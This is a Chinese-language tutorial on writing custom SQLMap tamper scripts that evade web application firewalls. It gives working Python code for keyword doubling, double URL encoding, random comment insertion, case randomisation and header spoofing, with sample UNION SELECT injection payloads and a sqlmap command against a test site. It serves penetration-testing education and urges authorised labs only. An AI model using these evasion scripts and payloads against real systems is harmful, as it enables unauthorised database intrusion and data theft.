1. 项目概述为什么我们需要自定义 Tamper 脚本在渗透测试或者安全研究的过程中遇到部署了 Web 应用防火墙WAF的目标站点是家常便饭。这些 WAF 就像一个个尽职的保安时刻盯着 HTTP 请求流一旦发现像UNION SELECT、11这类经典的 SQL 注入特征二话不说就直接拦截返回一个刺眼的 403 或者一个自定义的拦截页面。这时候你手里的自动化神器 SQLMap 可能就会频频碰壁报告一堆 “Payload 被 WAF 识别” 的失败信息。SQLMap 自带的--tamper参数和其丰富的内置 Tamper 脚本库如space2commentbetween等是应对这种情况的第一道防线。它们通过一些通用的混淆、编码技术来尝试绕过常见的过滤规则。但是WAF 的规则库也在不断进化特别是那些针对业务场景深度定制的 WAF通用脚本的绕过效果会大打折扣。这就好比用一套通用的“开锁工具”去开一把结构特殊的锁成功率有限。因此“编写自定义 Tamper 脚本”这项技能就从“锦上添花”变成了“雪中送炭”。它的核心价值在于针对特定目标 WAF 的过滤逻辑量身定制混淆和编码方案实现精准绕过。这不再是盲目的自动化测试而是结合了手动分析、逻辑推理和自动化工具的高级技巧。你需要像一个侦探先分析 WAF 拦截了什么特征再思考它可能漏过了什么盲点最后用代码Tamper 脚本将你的想法实现让 SQLMap 的 Payload 成功“隐身”并送达目标。2. Tamper 脚本核心原理与工作流程拆解在动手写代码之前我们必须彻底理解 Tamper 脚本在 SQLMap 引擎中的位置和工作机制。这能让你明白脚本的输入是什么、输出应该是什么以及如何最高效地影响 SQLMap 的攻击流程。2.1 SQLMap 的 Payload 生成与注入流程SQLMap 的注入测试是一个高度流程化的过程Tamper 脚本作用于其中一个非常关键的环节。简化后的核心流程如下检测阶段SQLMap 首先发送一系列无害的探测请求判断是否存在注入点、是何种数据库、以及注入类型布尔盲注、时间盲注、报错注入、联合查询等。Payload 库匹配根据检测结果SQLMap 会从庞大的内置 Payload 库中选取适合当前数据库类型和注入类型的攻击向量。这些 Payload 是“标准模板”例如一个标准的联合查询 Payload 可能是-1‘ UNION SELECT 1,2,3 --。Tamper 脚本处理关键环节在 Payload 被放入 HTTP 请求并发送之前SQLMap 会将它交给通过--tamper参数指定的脚本进行处理。一个 Payload 可能会被多个 Tamper 脚本依次处理顺序由命令行中--tamper后脚本的排列顺序决定。请求发送与结果判断处理后的“混淆版” Payload 被构造到 HTTP 请求参数中发送给目标服务器。SQLMap 根据返回的 HTTP 响应内容、状态码、响应时间等判断该 Payload 是否执行成功。2.2 Tamper 脚本的接口与职责一个 Tamper 脚本本质上就是一个 Python 模块它必须包含一个名为tamper(payload, **kwargs)的函数。SQLMap 会调用这个函数并传入两个关键对象payload: 这是未经混淆的原始 Payload 字符串也就是上面流程第2步中生成的“标准模板”。你的所有操作都基于这个字符串。**kwargs: 这是一个字典包含了当前 HTTP 请求的上下文信息非常有用。常用的键包括headers: 当前请求的 HTTP 头字典。你可以在这里添加、修改头信息例如更换User-Agent来绕过基于客户端特征的 WAF。get/post/cookie...: 对应请求参数的字典。虽然 Tamper 主要处理payload但有时直接修改这些字典能实现更灵活的绕过。你的脚本职责非常明确接收payload 应用你设计的混淆或编码算法返回处理后的新payload字符串。SQLMap 会使用你返回的字符串去构造最终请求。注意Tamper 脚本处理的是 Payload字符串本身而不是整个 HTTP 请求包。虽然可以通过kwargs影响其他部分但核心是变换 Payload。更复杂的请求级修改如分块传输、协议层干扰通常需要配合其他工具或 SQLMap 的--proxy到 Burp Suite 中进行。2.3 绕过 WAF 的常见思路与 Tamper 实现对应理解了流程我们就可以将绕过 WAF 的战术思想映射到具体的 Tamper 脚本技术实现上绕过思路核心思想Tamper 脚本实现示例适用场景关键字混淆避免直接出现UNION,SELECT,OR等敏感词。将SELECT写成SELSELECTECT双写绕过、SeLeCt大小写混合、%53%45%4c%45%43%54URL编码。简单的字符串匹配型 WAF。空白符替换替换 Payload 中的空格这是最常见的过滤点之一。将空格替换为注释/**/、/*!*/内联注释、%0a换行符、%09制表符。过滤了空格但允许其他空白字符的 WAF。编码混淆对 Payload 整体或部分进行多层编码扰乱正则匹配。对整个 Payload 进行双重 URL 编码、HTML 实体编码、Unicode 编码。解码层与检测层顺序存在问题的 WAF。注释干扰在 Payload 中插入大量无害注释破坏其语法连贯性。在关键字之间插入随机注释如UNION/*random*/SELECT。对注释内容不做深度语法分析的 WAF。等价函数/语法替换使用数据库特有的、功能相同但写法不同的语法。用 参数污染 (HPP)利用服务器处理同名参数的特性传递一个干净值和一个恶意值。这通常不在Tamper 脚本内直接实现但 Tamper 可以生成形如?id1id-1‘ UNION SELECT ...的 Payload。需要服务器支持。部分应用服务器如 PHP/Apache会取最后一个参数而 WAF 可能检查第一个。3. 手把手编写你的第一个自定义 Tamper 脚本理论说得再多不如动手写一个。我们从最简单的场景开始假设目标 WAF 仅仅粗暴地过滤了UNION和SELECT这两个关键字不区分大小写我们用最经典的双写绕过法来编写脚本。3.1 环境准备与脚本骨架首先确保你有一个 Python 环境并且 SQLMap 已正确安装。自定义 Tamper 脚本可以放在任何位置但为了方便管理建议放在 SQLMap 目录下的tamper/文件夹里这样你可以直接用--tamper脚本名无需路径调用。创建一个新文件命名为doublekeyword.py。脚本的基本骨架如下#!/usr/bin/env python Copyright (c) 2024 YourName 双写关键字绕过 Tamper 脚本。 用于绕过简单过滤 UNION 和 SELECT 的 WAF。 from lib.core.enums import PRIORITY __priority__ PRIORITY.NORMAL # 定义脚本优先级NORMAL 是默认值 def dependencies(): 声明脚本依赖通常为空。 如果需要特定第三方库可以在这里检查。 pass def tamper(payload, **kwargs): 核心函数对 payload 进行混淆。 :param payload: 原始 payload 字符串 :param kwargs: 请求上下文字典 :return: 混淆后的 payload 字符串 if payload: # 你的混淆逻辑将写在这里 # 例如retVal payload.replace(SELECT, SELSELECTECT) pass return payload关键点解析__priority__当使用多个 Tamper 脚本时SQLMap 会根据优先级决定执行顺序LOWEST, LOW, NORMAL, HIGH, HIGHEST。大部分情况设为 NORMAL 即可。如果你写的脚本是进行基础编码如 URL 编码可能需要设为 HIGH以便先执行如果是最后一步的微调可能设为 LOW。dependencies()用于检查运行环境。99% 的自定义脚本不需要动这里。tamper()这是灵魂函数。务必注意函数内部应该先判断if payload:这是一个好习惯避免对空值进行操作。最后一定要return处理后的字符串。3.2 实现双写绕过逻辑现在我们在tamper()函数中实现逻辑。我们的目标是将UNION和SELECT不区分大小写替换成双写形式即UNION-UNIUNIONONSELECT-SELSELECTECT。这里有一个陷阱直接使用payload.replace(“SELECT”, “SELSELECTECT”)会区分大小写。如果 SQLMap 生成的原始 Payload 是select 这个替换就无效了。因此我们需要更健壮的方法。def tamper(payload, **kwargs): 双写绕过关键字 UNION 和 SELECT。 if not payload: return payload retVal payload # 方法一使用正则表达式进行不区分大小写的替换推荐 import re # 替换 UNION 注意正则中的 \b 表示单词边界防止匹配到部分单词 retVal re.sub(r‘\bunion\b‘, ‘UNIUNIONON‘, retVal, flagsre.IGNORECASE) # 替换 SELECT retVal re.sub(r‘\bselect\b‘, ‘SELSELECTECT‘, retVal, flagsre.IGNORECASE) # 方法二循环遍历关键字列表更直观但代码稍长 # keywords [‘union‘, ‘select‘] # for keyword in keywords: # # 找到所有出现的位置不区分大小写 # start 0 # while True: # index retVal.lower().find(keyword, start) # if index -1: # break # # 检查是否是完整的单词简单检查前后字符 # if (index 0 or not retVal[index-1].isalnum()) and \ # (index len(keyword) len(retVal) or not retVal[index len(keyword)].isalnum()): # original retVal[index:indexlen(keyword)] # # 构造双写字符串保持原大小写格式。例如 ‘Select‘ - ‘SelSelectect‘ # doubled original[:2] original.upper() original[2:] # retVal retVal[:index] doubled retVal[indexlen(keyword):] # start index len(doubled) # else: # start index 1 return retVal代码解读与选择推荐方法一正则代码简洁高效。r‘\bunion\b‘中的\b确保了只匹配完整的单词 “union” 而不会匹配到 “unionized” 这样的词的一部分。flagsre.IGNORECASE使匹配不区分大小写。替换时我们统一替换为大写的双写形式UNIUNIONON 这通常是可行的因为 SQL 关键字通常不区分大小写。方法二手动遍历展示了更底层的逻辑。它尝试在替换时保留原始 Payload 的大小写格式例如Select-SelSelectect 这可能在极少数对大小写敏感的环境中更有用但代码复杂且单词边界判断不如正则严谨。对于初学者强烈建议使用方法一。正则表达式是处理文本替换的利器。3.3 测试与调试你的脚本脚本写好了不能直接上生产环境。我们需要进行测试。单元测试在脚本同目录创建一个测试文件test_doublekeyword.py。import sys sys.path.insert(0, ‘.‘) # 确保能导入当前目录的模块 from doublekeyword import tamper test_payloads [ “-1‘ UNION SELECT 1,2,3 --“, “1 AND SELECT user FROM mysql.user“, “admin‘ OR ‘1‘‘1“ # 这个不应该被替换 ] for p in test_payloads: result tamper(p) print(f“原始: {p}“) print(f“混淆后: {result}“) print(“-“ * 30)运行这个测试观察输出是否符合预期。确保UNION和SELECT被正确双写而其他包含这些字母组合的部分如OR没有被误替换。与 SQLMap 集成测试将脚本放入 SQLMap 的tamper/目录然后使用一个简单的测试命令。python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist1“ --tamperdoublekeyword --flush-session -v 3-v 3会打印出 Payload 详情。在输出中仔细寻找被发送的请求检查参数中的 Payload 是否已经变成了双写形式。务必在一个你有权测试的合法靶场如 DVWA, SQLi Labs进行切勿测试未授权网站实操心得调试 Tamper 脚本时-v 3甚至-v 4或-v 5是你的好朋友。它们能让你看到 SQLMap 生成的确切 Payload 和最终发出的请求是验证脚本是否生效的唯一标准。另外可以先用--batch --dbs这样简单的命令测试快速看到效果。4. 进阶实战编写多层混合编码 Tamper 脚本双写绕过是最简单的策略。现在我们来对付一个更“聪明”的 WAF。假设它具备以下特征能识别简单的双写、大小写混合。会解码一次 URL 编码后进行检测。但对嵌套的多层编码或者混合多种编码方式的处理可能存在问题。我们的策略是对 Payload 中的敏感关键字进行随机的、多层混合编码。例如将SELECT编码成%2553%2545%254c%2545%2543%2554双重 URL 编码 或者S%45L%45CT部分字符 URL 编码 增加 WAF 规则匹配的难度。4.1 设计编码逻辑我们不能简单地对整个 Payload 编码那会导致单引号、括号等 SQL 语法结构被破坏使 Payload 失效。我们的目标是选择性编码。一个更可行的方案是将 Payload 拆分成“关键字”和“非关键字”部分只对关键字进行混淆。但更实用的方法是针对已知被拦截的 Payload 模式设计特定的编码片段。例如我们发现UNION SELECT这个组合被拦截那么我们可以编写脚本专门寻找并替换这个模式。下面是一个示例脚本multiencode.py 它实现两种混淆模式替换将UNION SELECT整体替换为一个经过精心构造的、混合编码的等价物。随机内联注释插入在 Payload 中随机插入/**/注释干扰基于模式长度的检测。#!/usr/bin/env python Copyright (c) 2024 YourName 多层混合编码与注释干扰 Tamper 脚本。 from lib.core.enums import PRIORITY import random import re __priority__ PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): if not payload: return payload retVal payload # 1. 针对特定模式进行替换 # 将 ‘UNION SELECT‘ 替换为双重URL编码 大小写混合 注释的变体 # 原始: UNION SELECT # 第一步变成 uniOn selEct (大小写混合) # 第二步对每个字符进行URL编码 - %75%6e%69%4f%6e %73%65%6c%45%63%74 # 第三步对整个字符串再进行一次URL编码 - %25%37%35%25%36%65%25%36%39%25%34%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%34%35%25%36%33%25%37%34 # 我们直接提供最终混淆后的字符串。在实际中这个字符串可以通过一个小函数生成。 union_select_variants [ “uniOn%2f**%2fselEct“, # 大小写混合 URL编码的注释 “%55%4e%49%4f%4e%20%53%45%4c%45%43%54“, # 全大写单层URL编码 “%2575%256e%2569%254f%256e%2520%2573%2565%256c%2545%2563%2574“, # 双重URL编码小写 “UNI/**/ON SEL/**/ECT“, # 注释分割关键字 ] # 使用正则不区分大小写地替换 ‘union select‘ 模式 # 注意这里模式可能跨空格我们使用 \s* 匹配可能的空白符空格、换行等被tamper替换后的形式 pattern re.compile(r‘union\sselect‘, re.IGNORECASE) if pattern.search(retVal): # 随机选择一种混淆变体 chosen_variant random.choice(union_select_variants) retVal pattern.sub(chosen_variant, retVal) # 2. 随机插入内联注释干扰简单的字符串匹配和长度检查 # 只在非注释、非字符串的部分插入避免破坏语法。这里做一个简化版的随机插入。 # 更严谨的做法是进行简单的 SQL 词法分析但这里为了示例我们在空格位置随机插入。 words retVal.split(‘ ‘) for i in range(len(words)): # 在部分单词后随机插入注释 if random.random() 0.7 and i len(words) - 1: # 70%的概率不插入且不在最后一个词后插入 # 避免在已经有很多特殊符号的地方插入 if not words[i].endswith((‘--‘, ‘/*‘, ‘*/‘, “‘“, ‘“‘)): words[i] words[i] ‘/**/‘ retVal ‘ ‘.join(words) # 3. 对常见的单关键字进行随机大小写变换如果未被模式替换覆盖到 keywords [‘or‘, ‘and‘, ‘from‘, ‘where‘, ‘order‘, ‘by‘, ‘group‘] for kw in keywords: # 使用正则查找完整的单词 pattern re.compile(rf‘\b{kw}\b‘, re.IGNORECASE) def random_case(match): word match.group() # 以 50% 的概率进行随机大小写变换 if random.random() 0.5: return ‘‘.join(random.choice([c.upper(), c.lower()]) for c in word) else: return word retVal pattern.sub(random_case, retVal) return retVal脚本逻辑深度解析模式替换我们预设了几个UNION SELECT的混淆变体。当脚本检测到 Payload 中存在这个模式时会随机选择一个变体进行替换。这种方式针对性强适用于已知 WAF 拦截特定模式的情况。你可以通过分析拦截日志不断丰富这个“混淆模式库”。随机注释插入我们在由空格分割的“单词”之间随机插入/**/。这虽然有些粗糙可能破坏引号内的字符串但在很多情况下是有效的。更高级的实现需要解析 SQL 语法避免在字符串常量或注释内部插入。随机大小写对未被第一步覆盖的其他常见关键字进行随机大小写变换增加 Payload 的“熵值”让基于固定正则的 WAF 规则更难匹配。注意事项这个脚本是一个示例框架。在真实环境中你需要根据目标 WAF 的实际拦截情况来调整和优化。例如union_select_variants列表中的内容需要你通过手动 fuzz 测试来确定哪些编码方式能成功绕过。随机注释的插入概率和位置需要精细控制否则可能产生大量无效 Payload降低测试效率。过度混淆可能导致 Payload 长度激增触发 WAF 的长度限制或异常行为检测。4.2 利用 kwargs 进行请求头绕过有时WAF 不仅仅是检查参数还会检查 HTTP 请求头。例如有些 WAF 会拦截带有 SQLMap 默认User-Agent的请求。我们可以通过 Tamper 脚本修改kwargs[‘headers‘]来应对。def tamper(payload, **kwargs): if not payload: return payload headers kwargs.get(‘headers‘, {}) # 修改或添加 HTTP 头 headers[‘User-Agent‘] ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36‘ # 添加一个看似正常的头部可能降低 WAF 的怀疑度 headers[‘X-Forwarded-For‘] ‘192.168.1.100‘ # 这里可以放置对 payload 本身的混淆逻辑 retVal payload # ... (你的混淆代码) ... return retVal通过修改headers字典我们改变了请求的“元数据”这常常能绕过一些基于客户端指纹的初级防护。5. 高级技巧动态负载与上下文感知 Tamper一个真正强大的 Tamper 脚本应该是“智能”的能够根据不同的注入场景、不同的 Payload 类型动态调整策略。5.1 判断注入类型并采取不同策略SQLMap 在kwargs中可能会提供一些上下文信息但关于当前注入类型的直接变量并不总是稳定。一个更可靠的方法是通过分析payload字符串本身来判断。def tamper(payload, **kwargs): if not payload: return payload retVal payload # 判断是否为布尔盲注或时间盲注的 Payload (通常包含 ‘AND‘, ‘SLEEP‘, ‘BENCHMARK‘, ‘IF‘ 等) if any(word in payload.upper() for word in [‘ AND ‘, ‘ SLEEP(‘, ‘ BENCHMARK(‘, ‘ IF(‘]): # 盲注 Payload 通常对空格和等号过滤更敏感 # 使用更激进的空白符替换如 %0a (换行符) retVal retVal.replace(‘ ‘, ‘%0a‘) # 将 ‘‘ 替换为 ‘ LIKE ‘ 或 ‘%3d‘ (URL编码) retVal re.sub(r‘(\w)\s*\s*(\w)‘, r‘\1 LIKE \2‘, retVal) # 判断是否为报错注入 Payload (通常包含 ‘extractvalue‘, ‘updatexml‘, ‘floor‘ 等) elif any(word in payload.upper() for word in [‘ EXTRACTVALUE(‘, ‘ UPDATEXML(‘, ‘ FLOOR(‘]): # 报错注入对函数名和括号敏感可以尝试对函数名进行混淆 retVal re.sub(r‘extractvalue‘, ‘EXtRactVALUe‘, retVal, flagsre.IGNORECASE) retVal re.sub(r‘updatexml‘, ‘UpDaTeXmL‘, retVal, flagsre.IGNORECASE) # 判断是否为联合查询注入 Payload (包含 ‘UNION SELECT‘) elif ‘UNION‘ in payload.upper() and ‘SELECT‘ in payload.upper(): # 使用我们之前编写的针对 UNION SELECT 的混合编码策略 # ... (调用相关的混淆函数) ... return retVal5.2 模拟 WAF 解码逻辑进行反向设计最有效的 Tamper 脚本往往建立在对目标 WAF 解码逻辑的猜测或分析上。你可以通过手动测试来收集信息手动 Fuzz使用 Burp Suite 的 Intruder 或 Repeater 发送各种编码变体的 Payload观察哪些被拦截哪些通过。分析拦截响应有些 WAF 会在拦截页面中透露规则 ID 或匹配到的关键词这是黄金信息。假设-验证提出假设例如“WAF 只做一次 URL 解码后检查”。那么你可以设计一个 Tamper 脚本对 Payload 进行双重 URL 编码。这样WAF 解码一次后看到的仍然是编码过的内容可能无法匹配规则而目标应用服务器如 PHP 的$_GET通常会解码两次最终得到原始 Payload。import urllib.parse def double_url_encode(payload): 对字符串进行双重 URL 编码 # 第一次编码 first_encode urllib.parse.quote(payload, safe‘‘) # 第二次编码 second_encode urllib.parse.quote(first_encode, safe‘‘) return second_encode def tamper(payload, **kwargs): if not payload: return payload # 注意对整个 Payload 编码会破坏结构通常只对关键部分或整个参数值进行编码 # 这里演示对整个 payload 编码假设 payload 是参数值的一部分 # 更安全的做法是只编码敏感关键字部分 encoded_keywords {} keywords [‘union‘, ‘select‘, ‘or‘, ‘and‘] for kw in keywords: # 找到关键字并替换为其双重编码形式 pattern re.compile(rf‘\b{kw}\b‘, re.IGNORECASE) def replace_with_encoded(match): original match.group() return double_url_encode(original) payload pattern.sub(replace_with_encoded, payload) return payload6. 常见问题、调试技巧与实战心得即使脚本逻辑正确在实际使用中也可能遇到各种问题。这里记录一些常见的坑和解决思路。6.1 Tamper 脚本不生效或报错问题SQLMap 报错[ERROR] missing tamper module ‘xxx‘或脚本被调用但 Payload 无变化。排查路径问题确保脚本在 SQLMap 的tamper/目录下或者使用绝对路径--tamper/path/to/your/script.py。语法错误在脚本目录下直接运行python -m py_compile your_script.py检查语法。导入错误确保没有导入不存在的模块。自定义脚本应尽量只使用 Python 标准库和 SQLMap 的lib模块。优先级冲突如果使用了多个脚本优先级低的脚本可能被先执行其输出又被高优先级脚本覆盖导致看起来没生效。用-v 3查看中间过程。Payload 判断条件过严你的脚本里的if条件可能过滤掉了实际需要处理的 Payload。检查你的条件逻辑或者先去掉所有条件看脚本是否被调用。6.2 Payload 被混淆后导致 SQL 语法错误问题WAF 不拦截了但目标服务器返回 SQL 错误说明 Payload 已送达但无法执行。排查使用-v 3或-v 4仔细查看 SQLMap 发出的最终请求。将混淆后的 Payload 复制出来。手动验证在浏览器的地址栏、Burp Repeater 或数据库管理工具中手动执行这个混淆后的 Payload看是否产生语法错误。这是定位问题的关键步骤。常见错误点引号破坏编码或替换时错误地编码了字符串中的单引号‘或双引号“导致字符串提前结束。括号不匹配混淆过程增加了或删除了括号。空格处理不当将必要的空格替换成了不被数据库识别的字符或者破坏了关键字与标识符之间的分隔。注释破坏在字符串内部错误地插入了/* */或-- 导致 SQL 解析异常。6.3 如何高效地 Fuzz 和优化脚本从拦截日志入手收集 WAF 的拦截请求和响应。分析它拦截了原始 Payload 的哪个部分。使用 Burp Suite 配合将 SQLMap 的代理设置为 Burp (--proxyhttp://127.0.0.1:8080)。先不用 Tamper 脚本让 SQLMap 跑几个 Payload在 Burp 的 History 中查看哪些被拦截。在 Burp Repeater 中手动修改被拦截的请求尝试不同的编码、空格替换、注释插入等方法直到请求通过 WAF 并返回正常或注入成功的响应。将手动验证成功的混淆方法翻译成 Tamper 脚本中的逻辑。迭代开发不要试图写一个“万能”脚本。先写一个解决当前最紧迫拦截问题的简单脚本让它能跑起来。在测试过程中观察是否有新的 Payload 被拦截然后逐步补充和修改你的脚本逻辑。利用 SQLMap 的--test-filter如果你只想测试某个特定的 Payload可以用--test-filter指定其 ID然后结合--tamper和-v 3快速验证脚本效果极大提升调试效率。6.4 性能与隐蔽性权衡过度混淆虽然可能绕过 WAF但会产生大量畸形、冗长的 Payload显著降低 SQLMap 的测试速度并可能触发目标服务器的其他异常处理机制。建议采用“最小必要”原则。只对确实被拦截的关键部分进行混淆。优先使用那些对原始 SQL 语义改变最小的混淆方式如等价的空白符替换、大小写变换 其次再考虑编码和注释插入。编写自定义 Tamper 脚本是一个需要耐心、观察力和创造力的过程。它没有一成不变的公式核心在于理解 WAF 的检测逻辑黑盒测试推测和 SQL 语法的灵活性。每一次成功的绕过都是你对这两者理解加深的体现。从模仿内置脚本开始逐步尝试自己的思路你就能逐渐掌握这门在 Web 安全测试中至关重要的手艺。